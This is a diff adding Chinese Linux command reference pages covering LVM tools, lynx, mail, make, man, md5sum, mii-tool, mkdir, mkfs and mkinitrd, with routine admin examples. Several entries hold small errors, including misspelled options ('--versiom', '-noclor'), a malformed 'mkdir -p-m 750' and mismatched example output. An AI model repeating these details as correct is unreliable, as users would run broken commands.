+``` + +输出信息如下: + +``` +......省略部分输出内容...... +Do you really want to reduce lvol0? [y/n]: y #确认操作 + Reducing logical volume lvol0 to 252.00 MB + Logical volume lvol0 successfully resized +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lvremove.md b/LearnShell/LinuxCommands/lvremove.md new file mode 100644 index 0000000..b697952 --- /dev/null +++ b/LearnShell/LinuxCommands/lvremove.md @@ -0,0 +1,43 @@ +lvremove +=== + +删除指定LVM逻辑卷 + +## 补充说明 + +**lvremove命令** 用于删除指定LVM逻辑卷。如果逻辑卷已经使用mount命令加载,则不能使用lvremove命令删除。必须使用umount命令卸载后,逻辑卷方可被删除。 + +### 语法 + +``` +lvremove(选项)(参数) +``` + +### 选项 + +``` +-f:强制删除。 +``` + +### 参数 + +逻辑卷:指定要删除的逻辑卷。 + +### 实例 + +使用lvremove命令删除指定的逻辑卷。在命令行中输入下面的命令: + +``` +[root@localhost ~]# lvremove /dev/vg1000/lvol0 #删除逻辑卷"lvol0" +``` + +输出信息如下: + +``` +Do you really want to remove active logical +volume "lvol0"? [y/n]: y #确认删除 + Logical volume "lvol0" successfully removed +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lvresize.md b/LearnShell/LinuxCommands/lvresize.md new file mode 100644 index 0000000..9dc15af --- /dev/null +++ b/LearnShell/LinuxCommands/lvresize.md @@ -0,0 +1,43 @@ +lvresize +=== + +调整逻辑卷空间大小 + +## 补充说明 + +**lvresize命令** 用于调整LVM逻辑卷的空间大小,可以增大空间和缩小空间。使用lvresize命令调整逻辑卷空间大小和缩小空间时需要谨慎,因为它有可能导致数据丢失。 + +### 语法 + +``` +lvresize(选项)(参数) +``` + +### 选项 + +``` +-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节; +-l:指定逻辑卷的大小(LE数)。 +``` + +### 参数 + +逻辑卷:指定要删除的逻辑卷。 + +### 实例 + +使用lvresize命令调整最大的逻辑卷大小。在命令行中输入下面的命令: + +``` +[root@localhost ~]# lvresize -L +200M /dev/vg1000/lvol0 #将逻辑卷空间增加200M +``` + +输出信息如下: + +``` +Extending logical volume lvol0 to 280.00 MB +Logical volume lvol0 successfully resized +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lvscan.md b/LearnShell/LinuxCommands/lvscan.md new file mode 100644 index 0000000..b4511e0 --- /dev/null +++ b/LearnShell/LinuxCommands/lvscan.md @@ -0,0 +1,37 @@ +lvscan +=== + +扫描逻辑卷 + +## 补充说明 + +**lvscan命令** 用于扫描当前系统中存在的所有的LVM逻辑卷。使用lvscan指令可以发现系统中的所有逻辑卷,及其对应的设备文件。 + +### 语法 + +``` +lvscan(选项) +``` + +### 选项 + +``` +-b:显示逻辑卷的主设备和次设备号。 +``` + +### 实例 + +使用lvscan命令扫描系统中的所有逻辑卷。在命令行中输入下面的命令: + +``` +[root@localhost ~]# lvscan #扫描所有的逻辑卷 +``` + +输出信息如下: + +``` +ACTIVE '/dev/vg1000/lvol0' [200.00 MB] inherit +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lynx.md b/LearnShell/LinuxCommands/lynx.md new file mode 100644 index 0000000..4b570e4 --- /dev/null +++ b/LearnShell/LinuxCommands/lynx.md @@ -0,0 +1,116 @@ +lynx +=== + +纯文本模式的网页浏览器 + +## 补充说明 + +**lynx命令** 是纯文本模式的网页浏览器,不支持图形、音视频等多媒体信息。 + +### 语法 + +``` +lynx(选项)(参数) +``` + +### 选项 + +``` +-case:在搜索字符串时,区分大小写; +-ftp:关闭ftp功能; +-nobrowse:关闭目录浏览功能; +-noclor:关闭色彩显示模式; +-reload:更新代理服务器的缓存,只对首页有效; +--color:如果系统支持彩色模式,则激活彩色模式; +--help:显示指令的帮助信息; +--versiom:显示指令的版本信息。 +``` + +### 参数 + +URL:指定要访问的网站的URL地址。 + +## 内部命令 + + **移动命令** + +``` +下方向键:页面上的下一个链接(用高亮度显示)。 +上方向键:页面上的前一个链接(用高亮度显示)。 +回车和右方向键:跳转到链接指向的地址。 +左方向键:回到上一个页面。 +``` + + **滚动命令** + +``` ++、Page-Down、Space、Ctrl+f:向下翻页。 +-、Page-Up、b、Ctrl+b:向上翻页。 +Ctrl+a:移动到当前页的最前面。 +Ctrl+e:移动到当前页的最后面。 +Ctrl+n:向下翻两行。 +Ctrl+p:往回翻两行。 +):向下翻半页。 +(:往回翻半页。 +#:回到当前页的 Toolbar 或 Banner。 +``` + + **文件操作命令** + +``` +c:建立一个新文件。 +d:下载选中的文件。 +E:编辑选中的文件。 +f:为当前文件显示一个选项菜单。 +m:修改选中文件的名字或位置。 +r:删除选中的文件。 +t:Tag highlighted file。 +u:上载一个文件到当前目录。 +``` + + **其他命令** + +``` +?、h:帮助。 +a:把当前链接加入到一个书签文件里。 +c:向页面的拥有者发送意见或建议。 +d:下载当前链接。 +e:编辑当前文件。 +g:跳转到一个用户 指定的URL或文件。 +G:编辑当前页的URL,并跳转到这个URL。 +i:显示文档索引。 +j:执行预先定义的“短”命令。 +k:显示键盘命令列表。 +l:列出当前页上所有链接的地址。 +m:回到首页 。 +o:设置选项。 +p:把当前页输出到文件,e-mail,打印机或其他地方。 +q:退出。 +/:在当前页内查找字符串。 +s:在外部搜索输入的字符串。 +n:搜索下一个。 +v:查看一个书签文件。 +V:跳转到访问过的地址。 +x:不使用缓存。 +z:停止当前传输。 +[backspace]:跳转到历史页(同 V 命令)。 +=:显示当前页的信息。 +:查看当前页的源代码。 +!:回到shell提示符下。 +_:清除当前任务的所有授权信息。 +*:图形链接模式的切换开关。 +@:8位传输模式或CJK模式的切换开关。 +[:pseudo_inlines 模式的切换开关。 +]:为当前页或当前链接发送一个“head”请求。 +Ctrl+r:重新装如当前页并且刷新屏幕。 +Ctrl+w:刷新屏幕。 +Ctrl+u:删除输入的行。 +Ctrl+g:取消输入或者传送。 +Ctrl+t:跟踪模式的切换开关。 +;:看Lynx对当前任务的跟踪记录。 +Ctrl+k:调用 Cookie Jar 页。 +数字键:到后面的第 n 个链接。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mail.md b/LearnShell/LinuxCommands/mail.md new file mode 100644 index 0000000..b0a7805 --- /dev/null +++ b/LearnShell/LinuxCommands/mail.md @@ -0,0 +1,90 @@ +mail +=== + +命令行下发送和接收电子邮件 + +## 补充说明 + +**mail命令** 是命令行的电子邮件发送和接收工具。操作的界面不像elm或pine那么容易使用,但功能非常完整。 + +### 语法 + +``` +mail(选项)(参数) +``` + +### 选项 + +``` +-b<地址>:指定密件副本的收信人地址; +-c<地址>:指定副本的收信人地址; +-f<邮件文件>:读取指定邮件文件中的邮件; +-i:不显示终端发出的信息; +-I:使用互动模式; +-n:程序使用时,不使用mail.rc文件中的设置; +-N:阅读邮件时,不显示邮件的标题; +-s<邮件主题>:指定邮件的主题; +-u<用户帐号>:读取指定用户的邮件; +-v:执行时,显示详细的信息。 +``` + +### 参数 + +邮件地址:收信人的电子邮箱地址。 + +### 实例 + + **直接使用shell当编辑器** + +``` +mail -s "Hello from jsdig.com by shell" admin@jsdig.com +hello,this is the content of mail. +welcome to www.jsdig.com +``` + +第一行是输入的命令,`-s`表示邮件的主题,后面的`admin@jsdig.com`则是邮件的接收人,输入完这行命令后回车,会进入邮件正文的编写,我们可以输入任何文字,比如上面的两行。当邮件正文输入完成后,需要按 **CTRL+D** 结束输入,此时会提示你输入Cc地址,即邮件抄送地址,没有直接回车就完成了邮件的发送。 + + **使用管道进行邮件发送** + +``` +echo "hello,this is the content of mail.welcome to www.jsdig.com" | mail -s "Hello from jsdig.com by pipe" admin@jsdig.com +``` + +使用管道直接敲入这行命令即可完成邮件的发送,其中echo后的是邮件正文。 + + **使用文件进行邮件发送** + +``` +mail -s "Hello from jsdig.com by file" admin@jsdig.com < mail.txt +``` + +使用上面的命令后,我们就可以把mail.txt文件的内容作为邮件的内容发送给admin@jsdig.com了。 + +使用上述三种方式都可以给外部邮箱进行邮件发送,但因为前面2中都是直接在shell中敲入邮件内容,因此无法输入中文,即使我们使用粘贴的方式输入了中文,那么收到的邮件也是乱码的。但第3种方式,我们可以在window下编辑好邮件内容后,放到linux下,再进行发送,这样就可以正常发送中文了。不过目前邮件的中文标题暂时没有找到解决办法。 + +因为mail程序本身就是调用sendmail来进行邮件发送的,因此我们可以在mail命令中使用sendmail的参数进行配置,比如我想使用特定的发件人发送邮件,可以使用如下命令: + +``` +mail -s "Hello from jsdig.com with sender" admin@jsdig.com -- -f user@jsdig.com \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mailq.md b/LearnShell/LinuxCommands/mailq.md new file mode 100644 index 0000000..b19d56c --- /dev/null +++ b/LearnShell/LinuxCommands/mailq.md @@ -0,0 +1,31 @@ +mailq +=== + +显示待发送的邮件队列 + +## 补充说明 + +**mailq命令** 用户显示待发送的邮件队列,显示的每一个条目包括邮件队列id、邮件大小、加入队列时间、邮件发送者和接受者。如果邮件最后一次尝试后还没有将邮件投递出去,则显示发送失败的原因。 + +### 语法 + +``` +mailq(选项) +``` + +### 选项 + +``` +-v:显示详细的信息。 +``` + +### 实例 + +``` +[root@localhost ~]# mailq -v +/var/spool/mqueue is empty + Total requests: 0 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mailstat.md b/LearnShell/LinuxCommands/mailstat.md new file mode 100644 index 0000000..874e884 --- /dev/null +++ b/LearnShell/LinuxCommands/mailstat.md @@ -0,0 +1,32 @@ +mailstat +=== + +显示到达的邮件状态 + +## 补充说明 + +**mailstat命令** 用来显示到达的邮件状态。 + +### 语法 + +``` +mailstat(选项)(参数) +``` + +### 选项 + +``` +-k:保持邮件日志文件的完整性,不清空日志文件; +-l:使用长格式显示邮件状态; +-m:合并任何错误信息到一行中显示; +-o:使用老的邮件日志邮件; +-t:使用简洁的格式显示邮件状态; +-s:如果没有邮件则不输出任何信息。 +``` + +### 参数 + +邮件日志文件:指定要读取邮件日志文件。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/make.md b/LearnShell/LinuxCommands/make.md new file mode 100644 index 0000000..2c41408 --- /dev/null +++ b/LearnShell/LinuxCommands/make.md @@ -0,0 +1,52 @@ +make +=== + +GNU的工程化编译工具 + +## 补充说明 + +**make命令** 是GNU的工程化编译工具,用于编译众多相互关联的源代码问价,以实现工程化的管理,提高开发效率。 + +### 语法 + +``` +make(选项)(参数) +``` + +### 选项 + +``` +-f:指定“makefile”文件; +-i:忽略命令执行返回的出错信息; +-s:沉默模式,在执行之前不输出相应的命令行信息; +-r:禁止使用build-in规则; +-n:非执行模式,输出所有执行命令,但并不执行; +-t:更新目标文件; +-q:make操作将根据目标文件是否已经更新返回"0"或非"0"的状态信息; +-p:输出所有宏定义和目标文件描述; +-d:Debug模式,输出有关文件和检测时间的详细信息。 +``` + +Linux下常用选项与Unix系统中稍有不同,下面是不同的部分: + +``` +-c dir:在读取 makefile 之前改变到指定的目录dir; +-I dir:当包含其他 makefile文件时,利用该选项指定搜索目录; +-h:help文挡,显示所有的make选项; +-w:在处理 makefile 之前和之后,都显示工作目录。 +``` + +### 参数 + +目标:指定编译目标。 + +### 知识扩展 + +无论是在linux 还是在Unix环境 中,make都是一个非常重要的编译命令。不管是自己进行项目开发还是安装应用软件,我们都经常要用到make或make install。利用make工具,我们可以将大型的开发项目分解成为多个更易于管理的模块,对于一个包括几百个源文件的应用程序,使用make和 makefile工具就可以简洁明快地理顺各个源文件之间纷繁复杂的相互关系。 + +而且如此多的源文件,如果每次都要键入gcc命令进行编译的话,那对程序员 来说简直就是一场灾难。而make工具则可自动完成编译工作,并且可以只对程序员在上次编译后修改过的部分进行编译。 + +因此,有效的利用make和 makefile工具可以大大提高项目开发的效率。同时掌握make和makefile之后,您也不会再面对着Linux下的应用软件手足无措了。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/man.md b/LearnShell/LinuxCommands/man.md new file mode 100644 index 0000000..8c8301f --- /dev/null +++ b/LearnShell/LinuxCommands/man.md @@ -0,0 +1,63 @@ +man +=== + +查看Linux中的指令帮助 + +## 补充说明 + +**man命令** 是Linux下的帮助指令,通过man指令可以查看Linux中的指令帮助、配置文件帮助和编程帮助等信息。 + +### 语法 + +``` +man(选项)(参数) +``` + +### 选项 + +``` +-a:在所有的man帮助手册中搜索; +-f:等价于whatis指令,显示给定关键字的简短描述信息; +-P:指定内容时使用分页程序; +-M:指定man手册搜索的路径。 +``` + +### 参数 + +* 数字:指定从哪本man手册中搜索帮助; +* 关键字:指定要搜索帮助的关键字。 + +### 数字代表内容 + +``` +1:用户在shell环境可操作的命令或执行文件; +2:系统内核可调用的函数与工具等 +3:一些常用的函数(function)与函数库(library),大部分为C的函数库(libc) +4:设备文件说明,通常在/dev下的文件 +5:配置文件或某些文件格式 +6:游戏(games) +7:惯例与协议等,如Linux文件系统,网络协议,ASCII code等说明 +8:系统管理员可用的管理命令 +9:跟kernel有关的文件 +``` + +### 实例 + +我们输入`man ls`,它会在最左上角显示“LS(1)”,在这里,“LS”表示手册名称,而“(1)”表示该手册位于第一节章,同样,我们输`man ifconfig`它会在最左上角显示“IFCONFIG(8)”。也可以这样输入命令:“man [章节号] 手册名称”。 + +man是按照手册的章节号的顺序进行搜索的,比如: + +``` +man sleep +``` + +只会显示sleep命令的手册,如果想查看库函数sleep,就要输入: + +``` +man 3 sleep +``` + + + + + diff --git a/LearnShell/LinuxCommands/md5sum.md b/LearnShell/LinuxCommands/md5sum.md new file mode 100644 index 0000000..d7e1ef9 --- /dev/null +++ b/LearnShell/LinuxCommands/md5sum.md @@ -0,0 +1,90 @@ +md5sum +=== + +计算和校验文件报文摘要的工具程序 + +## 补充说明 + +**md5sum命令** 采用MD5报文摘要算法(128位)计算和检查文件的校验和。一般来说,安装了Linux后,就会有md5sum这个工具,直接在命令行终端直接运行。 + +MD5算法常常被用来验证网络文件传输的完整性,防止文件被人篡改。MD5 全称是报文摘要算法(Message-Digest Algorithm 5),此算法对任意长度的信息逐位进行计算,产生一个二进制长度为128位(十六进制长度就是32位)的“指纹”(或称“报文摘要”),不同的文件产生相同的报文摘要的可能性是非常非常之小的。 + +### 语法 + +``` +md5sum(选项)(参数) +``` + +### 选项 + +``` +-b:二进制模式读取文件; +-t或--text:把输入的文件作为文本文件看待; +-c:从指定文件中读取MD5校验和,并进行校验; +--status:验证成功时不输出任何信息; +-w:当校验不正确时给出警告信息。 +``` + +### 参数 + +文件:指定保存着文件名和校验和的文本文件。 + +### 实例 + + **生成一个文件insert.sql的md5值:** + +``` +[root@localhost ~]# md5sum insert.sql +bcda6cb5c704664f989703ac5a88f112 insert.sql +``` + + **检查文件testfile是否被修改过:** + +首先生成md5文件: + +``` +md5sum testfile > testfile.md5 +``` + +检查: + +``` +md5sum testfile -c testfile.md5 +``` + +如果文件没有变化,输出应该如下: + +``` +forsort: OK +``` + +此时,md5sum命令返回0。 + +如果文件发生了变化,输出应该如下: + +``` +forsort: FAILED +md5sum: WARNING: 1 of 1 computed checksum did NOT match +``` + +此时,md5sum命令返回非0。 + +这里,检查用的文件名随意。如果不想有任何输出,则`md5sum testfile --status -c testfile.md5`,这时候通过返回值来检测结果。 + +检测的时候如果检测文件非法则输出信息的选项: + +``` +md5sum -w -c testfile.md5 +``` + +输出之后,文件异常输出类似如下: + +``` +md5sum: testfile.md5: 1: improperly formatted MD5 checksum line +md5sum: testfile.md5: no properly formatted MD5 checksum lines found +``` + +这里,testfile.md5只有一行信息,但是我认为地给它多加了一个字符,导致非法。如果md5文件正常那么`-w`有没有都一样。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mesg.md b/LearnShell/LinuxCommands/mesg.md new file mode 100644 index 0000000..00c844a --- /dev/null +++ b/LearnShell/LinuxCommands/mesg.md @@ -0,0 +1,28 @@ +mesg +=== + +设置当前终端的写权限 + +## 补充说明 + +**mesg命令** 用于设置当前终端的写权限,即是否让其他用户向本终端发信息。将mesg设置y时,其他用户可利用write命令将信息直接显示在您的屏幕上。 + +### 语法 + +``` +mesg(参数) +``` + +### 参数 + +y/n:y表示运行向当前终端写信息,n表示禁止向当前终端写信息。 + +### 实例 + +``` +[root@localhost ~]# mesg y #允许系统用户将信息直接显示在你的屏幕上。 +[root@localhost ~]# mesg n #不允许系统用户将信息直接显示在你的屏幕上。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mii-tool.md b/LearnShell/LinuxCommands/mii-tool.md new file mode 100644 index 0000000..bd6d558 --- /dev/null +++ b/LearnShell/LinuxCommands/mii-tool.md @@ -0,0 +1,73 @@ +mii-tool +=== + +配置网络设备协商方式的工具 + +## 补充说明 + +**mii-tool命令** 是用于查看、管理介质的网络接口的状态,有时网卡需要配置协商方式,比如10/100/1000M的网卡半双工、全双工、自动协商的配置。但大多数的网络设备是不用我们来修改协商,因为大多数网络设置接入的时候,都采用自动协商来解决相互通信的问题。不过自动协商也不是万能的,有时也会出现错误,比如丢包率比较高,这时就要我们来指定网卡的协商方式。mii-tool就是能指定网卡的协商方式。下面我们说一说mii-tool的用法。 + +### 语法 + +``` +usage: mii-tool [-VvRrwl] [-A media,... | -F media] [interface ...] +``` + +### 选项 + +``` +-V 显示版本信息; +-v 显示网络接口的信息; +-R 重设MII到开启状态; +-r 重启自动协商模式; +-w 查看网络接口连接的状态变化; +-l 写入事件到系统日志; +-A 指令特定的网络接口; +-F 更改网络接口协商方式; + +media: 100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD, +        (to advertise both HD and FD) 100baseTx, 10baseT +``` + +### 实例 + +查看网络接口的协商状态: + +``` +[root@localhost ~]# mii-tool -v eth0 +eth0: negotiated 100baseTx-FD, link ok +  product info: vendor 00:50:ef, model 60 rev 8 +  basic mode:   autonegotiation enabled +  basic status: autonegotiation complete, link ok +  capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD +  advertising:  100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD flow-control +  link partner: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD +``` + +注:上面的例子,我们可以看得到是自动协商,注意红字的部份。 + +更改网络接口协商方式: + +更改网络接口的协商方式,我们要用到`-F`选项,后面可以接100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD等参数; + +如果我们想把网络接口eth0改为1000Mb/s全双工的模式应该怎么办呢? + +``` +[root@localhost ~]# mii-tool -F 100baseTx-FD +[root@localhost ~]# mii-tool -v eth0 +eth0: 100 Mbit, full duplex, link ok + product info: vendor 00:00:00, model 0 rev 0 + basic mode: 100 Mbit, full duplex + basic status: link ok + capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD + advertising: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD +``` + +注:是不是已经改过来了?当然,我们也一样用ethtool工具来更改,比如执行下面的命令: + +``` +[root@localhost ~]# ethtool -s eth0 speed 100 duplex full +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mkbootdisk.md b/LearnShell/LinuxCommands/mkbootdisk.md new file mode 100644 index 0000000..542891f --- /dev/null +++ b/LearnShell/LinuxCommands/mkbootdisk.md @@ -0,0 +1,43 @@ +mkbootdisk +=== + +可建立目前系统的启动盘 + +## 补充说明 + +**mkbootdisk命令** 用来为当前运行的系统创建能够单独使用的系统引导软盘,以便在系统出现故障时能够启动操作进行适当的修复工作。 + +### 语法 + +``` +mkbootdisk(选项)(参数) +``` + +### 选项 + +``` +--device<设备>:指定设备; +--mkinitrdargs<参数>:设置mkinitrd的参数; +--noprompt:不会提示用户插入磁盘; +--verbose:执行时显示详细的信息; +--version:显示版本信息。 +``` + +### 参数 + +内核:指定内核版本。 + +### 实例 + +``` +mkbootdisk --device /dev/fd0 `uname -r` +``` + +其中,``uname -r``是目前Linux 系统所使用的核心版本,如果你有多个核心版本的话,你以可以直接输入核心版本。例如在这个网页中所使用的核心有两个版本,一个是2.2.12-20,另一个是2.2.18,若要以2.2.18设定开机的话,可以使用: + +``` +mkbootdisk --device /dev/fd0 2.2.18 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mkdir.md b/LearnShell/LinuxCommands/mkdir.md new file mode 100644 index 0000000..00e62a1 --- /dev/null +++ b/LearnShell/LinuxCommands/mkdir.md @@ -0,0 +1,48 @@ +mkdir +=== + +用来创建目录 + +## 补充说明 + +**mkdir命令** 用来创建目录。该命令创建由dirname命名的目录。如果在目录名的前面没有加任何路径名,则在当前目录下创建由dirname指定的目录;如果给出了一个已经存在的路径,将会在该目录下创建一个指定的目录。在创建目录时,应保证新建的目录与它所在目录下的文件没有重名。  + +注意:在创建文件时,不要把所有的文件都存放在主目录中,可以创建子目录,通过它们来更有效地组织文件。最好采用前后一致的命名方式来区分文件和目录。例如,目录名可以以大写字母开头,这样,在目录列表中目录名就出现在前面。 + +在一个子目录中应包含类型相似或用途相近的文件。例如,应建立一个子目录,它包含所有的数据库文件,另有一个子目录应包含电子表格文件,还有一个子目录应包含文字处理文档,等等。目录也是文件,它们和普通文件一样遵循相同的命名规则,并且利用全路径可以唯一地指定一个目录。 + +### 语法 + +``` +mkdir (选项)(参数) +``` + +### 选项 + +``` +-Z:设置安全上下文,当使用SELinux时有效; +-m<目标属性>或--mode<目标属性>建立目录的同时设置目录的权限; +-p或--parents 若所要建立目录的上层目录目前尚未建立,则会一并建立上层目录; +--version 显示版本信息。 +``` + +### 参数 + +目录:指定要创建的目录列表,多个目录之间用空格隔开。 + +### 实例 + +在目录`/usr/meng`下建立子目录test,并且只有文件主有读、写和执行权限,其他人无权访问 + +``` +mkdir -m 700 /usr/meng/test +``` + +在当前目录中建立bin和bin下的os_1目录,权限设置为文件主可读、写、执行,同组用户可读和执行,其他用户无权访问 + +``` +mkdir -p-m 750 bin/os_1 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mke2fs.md b/LearnShell/LinuxCommands/mke2fs.md new file mode 100644 index 0000000..c8eb329 --- /dev/null +++ b/LearnShell/LinuxCommands/mke2fs.md @@ -0,0 +1,51 @@ +mke2fs +=== + +创建磁盘分区上的“etc2/etc3”文件系统 + +## 补充说明 + +**mke2fs命令** 被用于创建磁盘分区上的“etc2/etc3”文件系统。 + +### 语法 + +``` +mke2fs(选项)(参数) +``` + +### 选项 + +``` +-b<区块大小>:指定区块大小,单位为字节; +-c;检查是否有损坏的区块; +-f<不连续区段大小>:指定不连续区段的大小,单位为字节; +-F:不管指定的设备为何,强制执行mke2fs; +-i<字节>:指定"字节/inode"的比例; +-N:指定要建立的inode数目; +-l<文件>:从指定的文件中,读取文件西中损坏区块的信息; +-L<标签>:设置文件系统的标签名称; +-m<百分比值>:指定给管理员保留区块的比例,预设为5%; +-M:记录最后一次挂入的目录; +-q:执行时不显示任何信息; +-r:指定要建立的ext2文件系统版本; +-R=<区块数>:设置磁盘阵列参数; +-S:仅写入superblock与group descriptors,而不更改inode able inode bitmap以及block bitmap; +-v:执行时显示详细信息; +-V:显示版本信息。 +``` + +### 参数 + +* 设备文件:指定要创建的文件系统的分区设备文件名; +* 块数:指定要创建的文件系统的磁盘块数量。 + +### 实例 + +创建指定的ext2文件系统。 + +``` +mke2fs -q /dev/hda1 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mkfs.md b/LearnShell/LinuxCommands/mkfs.md new file mode 100644 index 0000000..9927b45 --- /dev/null +++ b/LearnShell/LinuxCommands/mkfs.md @@ -0,0 +1,43 @@ +mkfs +=== + +用于在设备上创建Linux文件系统 + +## 补充说明 + +**mkfs命令** 用于在设备上(通常为硬盘)创建Linux文件系统。mkfs本身并不执行建立文件系统的工作,而是去调用相关的程序来执行。 + +### 语法 + +``` +mkfs(选项)(参数) +``` + +### 选项 + +``` +fs:指定建立文件系统时的参数; +-t<文件系统类型>:指定要建立何种文件系统; +-v:显示版本信息与详细的使用方法; +-V:显示简要的使用方法; +-c:在制做档案系统前,检查该partition是否有坏轨。 +``` + +### 参数 + +* 文件系统:指定要创建的文件系统对应的设备文件名; +* 块数:指定文件系统的磁盘块数。 + +### 实例 + +在`/dev/hda5`上建一个msdos的档案系统,同时检查是否有坏轨存在,并且将过程详细列出来: + +``` +mkfs -V -t msdos -c /dev/hda5 + +mkfs -t ext3 /dev/sda6 //将sda6分区格式化为ext3格式 +mkfs -t ext2 /dev/sda7 //将sda7分区格式化为ext2格式 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mkinitrd.md b/LearnShell/LinuxCommands/mkinitrd.md new file mode 100644 index 0000000..cb75cde --- /dev/null +++ b/LearnShell/LinuxCommands/mkinitrd.md @@ -0,0 +1,63 @@ +mkinitrd +=== + +建立要载入ramdisk的映像文件 + +## 补充说明 + +**mkinitrd命令** 建立要载入ramdisk的映像文件,以供Linux开机时载入ramdisk。 + +这个是重新封包核心的命令,例如你自己修改了一个设备的驱动,如果这个驱动要加入核心级别的话,就需要对核心进行重新封包,把新加的配置编译到核心内部去! + +### 语法 + +``` +mkinitrd(选项)(参数) +``` + +### 选项 + +``` +-f:若指定的映像问家名称与现有文件重复,则覆盖现有的文件; +-v:执行时显示详细的信息; +--omit-scsi-modules:不要载入SCSI模块; +--preload=<模块名称>:指定要载入的模块; +--with=<模块名称>:指定要载入的模块; +--version:显示版本信息。 +``` + +### 参数 + +* 映像文件:指定要创建的映像文件; +* 内核版本:指定内核版本。 + +### 实例 + +``` +[root@localhost tmp]# mkinitrd -v -f myinitrd.img $(uname -r) +Creating initramfs +WARNING: using /tmp for temporary files +Looking for deps of module ide-disk +Looking for deps of module ext3 jbd +Looking for deps of module jbd +Using modules: ./kernel/fs/jbd/jbd.ko ./kernel/fs/ext3/ext3.ko +/sbin/nash -> /tmp/initrd.Vz3928/bin/nash +/sbin/insmod.static -> /tmp/initrd.Vz3928/bin/insmod +/sbin/udev.static -> /tmp/initrd.Vz3928/sbin/udev +/etc/udev/udev.conf -> /tmp/initrd.Vz3928/etc/udev/udev.conf +copy from /lib/modules/2.6.9-5.EL/./kernel/fs/jbd/jbd.ko(elf32-i386) to /tmp/initrd.Vz3928/lib/jbd.ko(elf32-i386) +copy from /lib/modules/2.6.9-5.EL/./kernel/fs/ext3/ext3.ko(elf32-i386) to /tmp/initrd.Vz3928/lib/ext3.ko(elf32-i386) +Loading module jbd +Loading module ext3 + +[root@localhost tmp]# file myinitrd.img +myinitrd.img: gzip compressed data, from Unix, max compression + +[root@localhost tmp]# mv myinitrd.img myinitrd.img.gz +[root@localhost tmp]# gzip -d myinitrd.img.gz +[root@localhost tmp]# file myinitrd.img +myinitrd.img: ASCII cpio archive (SVR4 with no CRC) +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mkisofs.md b/LearnShell/LinuxCommands/mkisofs.md new file mode 100644 index 0000000..0a2dd04 --- /dev/null +++ b/LearnShell/LinuxCommands/mkisofs.md @@ -0,0 +1,101 @@ +mkisofs +=== + +建立ISO 9660映像文件 + +## 补充说明 + +**mkisofs命令** 用来将指定的目录与文件做成ISO 9660格式的映像文件,以供刻录光盘。 + +### 语法 + +``` +mkisofs(选项)(参数) +``` + +### 选项 + +``` +-a或--all:mkisofs通常不处理备份文件。使用此参数可以把备份文件加到映像文件中; +-A<应用程序id>或-appid<应用程序ID>:指定光盘的应用程序ID; +-abstract<摘要文件>:指定摘要文件的文件名; +-b<开机映像文件>或-eltorito-boot<开机映像文件>:指定在制作可开机光盘时所需的开机映像文件; +-biblio:指定ISBN文件的文件名,ISBN文件位于光盘根目录下,记录光盘的ISBN; +-c<开机文件名称>:制作可开机光盘时,mkisofs会将开机映像文件中的全-eltorito-catalog<开机文件名称>全部内容作成一个文件; +-C<盘区编号,盘区编号>:将许多节区合成一个映像文件时,必须使用此参数; +-copyright<版权信息文件>:指定版权信息文件的文件名; +-d或-omit-period:省略文件后的句号; +-D或-disable-deep-relocation:ISO 9660最多只能处理8层的目录,超过8层的部分,RRIP会自动将它们设置成ISO 9660兼容的格式。使用-D参数可关闭此功能; +-f或-follow-links:忽略符号连接; +-h:显示帮助; +-hide<目录或文件名>:使指定的目录或文件在ISO 9660或Rock RidgeExtensions的系统中隐藏; +-hide-joliet<目录或文件名>:使指定的目录或文件在Joliet系统中隐藏; +-J或-joliet:使用Joliet格式的目录与文件名称; +-l或-full-iso9660-filenames:使用ISO 9660 32字符长度的文件名; +-L或-allow-leading-dots:允许文件名的第一个字符为句号; +-log-file<记录文件>:在执行过程中若有错误信息,预设会显示在屏幕上; +-m<目录或文件名>或-exclude<目录或文件名>:指定的目录或文件名将不会房入映像文件中; +-M<映像文件>或-prev-session<映像文件>:与指定的映像文件合并; +-N或-omit-version-number:省略ISO 9660文件中的版本信息; +-o<映像文件>或-output<映像文件>:指定映像文件的名称; +-p<数据处理人>或-preparer<数据处理人>:记录光盘的数据处理人; +-print-size:显示预估的文件系统大小; +-quiet:执行时不显示任何信息; +-r或-rational-rock:使用Rock Ridge Extensions,并开放全部文件的读取权限; +-R或-rock:使用Rock Ridge Extensions; +-sysid<系统ID>:指定光盘的系统ID; +-T或-translation-table:建立文件名的转换表,适用于不支持Rock Ridge Extensions的系统上; +-v或-verbose:执行时显示详细的信息; +-V<光盘ID>或-volid<光盘ID>:指定光盘的卷册集ID; +-volset-size<光盘总数>:指定卷册集所包含的光盘张数; +-volset-seqno<卷册序号>:指定光盘片在卷册集中的编号; +-x<目录>:指定的目录将不会放入映像文件中; +-z:建立通透性压缩文件的SUSP记录,此记录目前只在Alpha机器上的Linux有效。 +``` + +### 参数 + +路径:需要添加到映像文件中的路径。 + +### 实例 + +linux中用mkisofs命令把文件制作成ISO步骤: + 